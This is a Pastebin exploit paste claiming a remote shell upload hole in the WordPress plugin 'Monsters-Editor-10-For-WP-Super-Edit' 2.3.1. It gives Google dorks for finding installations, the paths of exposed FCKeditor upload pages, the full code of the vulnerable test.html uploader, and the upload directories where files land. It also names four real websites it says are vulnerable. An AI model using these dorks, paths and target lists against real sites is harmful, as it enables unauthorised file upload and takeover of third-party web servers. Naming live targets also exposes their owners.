API tools faq
paste
KingSkrupellos

WordPress Monsters-Editor-10-For-WP-Super-Edit Plugins 2.3.1

KingSkrupellos
Dec 19th, 2018
78
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.21 KB | None | 0 0
raw download clone embed print report
  1. ###########################################################################################################
  2.  
  3. # Exploit Title : WordPress Monsters-Editor-10-For-WP-Super-Edit Plugins 2.3.1 Remote Shell Upload Vulnerability
  4. # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
  5. # Date : 20/12/2018
  6. # Vendor Homepage : thedevcouple.com ~ wordpress.org/plugins/monsters-editor-10-for-wp-super-edit/
  7. + github.com/wp-plugins/monsters-editor-10-for-wp-super-edit
  8. # Software Download Link : downloads.wordpress.org/plugin/monsters-editor-10-for-wp-super-edit.zip
  9. # Tested On : Windows and Linux
  10. # Category : WebApps
  11. # Version Information : 2.1 and 2.3.1
  12. # Exploit Risk : Medium
  13. # Google Dorks : inurl:''/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/''
  14. + intext:''Using the fMulti theme design by Fredrik Fahlstad Proudly powered by WordPress.''
  15. + intext:''Website Design by Cynscreations.com.''
  16. + intext:''Powered by Aquino Media | Designed by Aquino Media Group''
  17. # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ]
  18. + CWE-434: Unrestricted Upload of File with Dangerous Type
  19. # Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~ ayarsecurity.com [ Friend ]
  20.  
  21. ###########################################################################################################
  22.  
  23. # Exploit :
  24.  
  25. /wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
  26.  
  27. /wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/browser.html
  28.  
  29. /wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/frmupload.html
  30.  
  31. # Directory File Path :
  32.  
  33. /wp-content/uploads/......
  34.  
  35. /wp-content/uploads/[YEAR]/[MONTH]....
  36.  
  37. #################################################################################################
  38.  
  39. # Note : This plugin Monsters-Editor-10-For-WP-Super-Edit contains a very serious vulnerability that allowed hackers to gain full control –
  40.  
  41. modify, upload and execute files on any website running WordPress. With the plugin installed on a certain website,
  42.  
  43. a hacker or malicious person can gain access to the web server via HTTP through a backdoor in the plugin’s directory.
  44.  
  45. ###########################################################################################################
  46.  
  47. Vulnerable File Code => /test.html
  48.  
  49. ********************************
  50.  
  51. <!--
  52. * FCKeditor - The text editor for Internet - http://www.fckeditor.net
  53. * Copyright (C) 2003-2007 Frederico Caldeira Knabben
  54. *
  55. * == BEGIN LICENSE ==
  56. *
  57. * Licensed under the terms of any of the following licenses at your
  58. * choice:
  59. *
  60. * - GNU General Public License Version 2 or later (the "GPL")
  61. * http://www.gnu.org/licenses/gpl.html
  62. *
  63. * - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
  64. * http://www.gnu.org/licenses/lgpl.html
  65. *
  66. * - Mozilla Public License Version 1.1 or later (the "MPL")
  67. * http://www.mozilla.org/MPL/MPL-1.1.html
  68. *
  69. * == END LICENSE ==
  70. *
  71. * Test page for the "File Uploaders".
  72. -->
  73. <html>
  74. <head>
  75. <title>FCKeditor - Uploaders Tests</title>
  76. <script language="javascript">
  77.  
  78. function SendFile()
  79. {
  80. var sUploaderUrl = cmbUploaderUrl.value ;
  81.  
  82. if ( sUploaderUrl.length == 0 )
  83. sUploaderUrl = txtCustomUrl.value ;
  84.  
  85. if ( sUploaderUrl.length == 0 )
  86. {
  87. alert( 'Please provide your custom URL or select a default one' ) ;
  88. return ;
  89. }
  90.  
  91. eURL.innerHTML = sUploaderUrl ;
  92. txtUrl.value = '' ;
  93.  
  94. frmUpload.action = sUploaderUrl ;
  95. frmUpload.submit() ;
  96. }
  97.  
  98. function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
  99. {
  100. switch ( errorNumber )
  101. {
  102. case 0 : // No errors
  103. txtUrl.value = fileUrl ;
  104. alert( 'File uploaded with no errors' ) ;
  105. break ;
  106. case 1 : // Custom error
  107. alert( customMsg ) ;
  108. break ;
  109. case 10 : // Custom warning
  110. txtUrl.value = fileUrl ;
  111. alert( customMsg ) ;
  112. break ;
  113. case 201 :
  114. txtUrl.value = fileUrl ;
  115. alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
  116. break ;
  117. case 202 :
  118. alert( 'Invalid file' ) ;
  119. break ;
  120. case 203 :
  121. alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
  122. break ;
  123. default :
  124. alert( 'Error on file upload. Error number: ' + errorNumber ) ;
  125. break ;
  126. }
  127. }
  128.  
  129. </script>
  130. </head>
  131. <body>
  132. <table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%">
  133. <tr>
  134. <td>
  135. <table cellSpacing="0" cellPadding="0" width="100%" border="0">
  136. <tr>
  137. <td nowrap>
  138. Select the "File Uploader" to use:<br>
  139. <select id="cmbUploaderUrl">
  140. <option selected value="asp/upload.asp">ASP</option>
  141. <option value="aspx/upload.aspx">ASP.Net</option>
  142. <option value="cfm/upload.cfm">ColdFusion</option>
  143. <option value="lasso/upload.lasso">Lasso</option>
  144. <option value="php/upload.php">PHP</option>
  145. <option value="">(Custom)</option>
  146. </select>
  147. </td>
  148. <td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
  149. <td width="100%">
  150. Custom Uploader URL:<BR>
  151. <input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text">
  152. </td>
  153. </tr>
  154. </table>
  155. <br>
  156. <table cellSpacing="0" cellPadding="0" width="100%" border="0">
  157. <tr>
  158. <td noWrap>
  159. <form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post">
  160. Upload a new file:<br>
  161. <input type="file" name="NewFile"><br>
  162. <input type="button" value="Send it to the Server" onclick="SendFile();">
  163. </form>
  164. </td>
  165. <td style="WIDTH: 16px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
  166. <td vAlign="top" width="100%">
  167. Uploaded File URL:<br>
  168. <INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">
  169. </td>
  170. </tr>
  171. </table>
  172. <br>
  173. Post URL: <span id="eURL">&nbsp;</span>
  174. </td>
  175. </tr>
  176. <tr>
  177. <td height="100%">
  178. <iframe name="UploadWindow" width="100%" height="100%" src="javascript:void(0)"></iframe>
  179. </td>
  180. </tr>
  181. </table>
  182. </body>
  183. </html>
  184.  
  185. ###########################################################################################################
  186.  
  187. # Example Vulnerable Sites =>
  188.  
  189. [+] dionysusrecords.com/main/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
  190.  
  191. [+] dfrere.fr/Blog01/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
  192.  
  193. [+] mark.langkau.org/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
  194.  
  195. [+] tonyaquino.com/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
  196.  
  197. ###########################################################################################################
  198.  
  199. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  200.  
  201. ###########################################################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!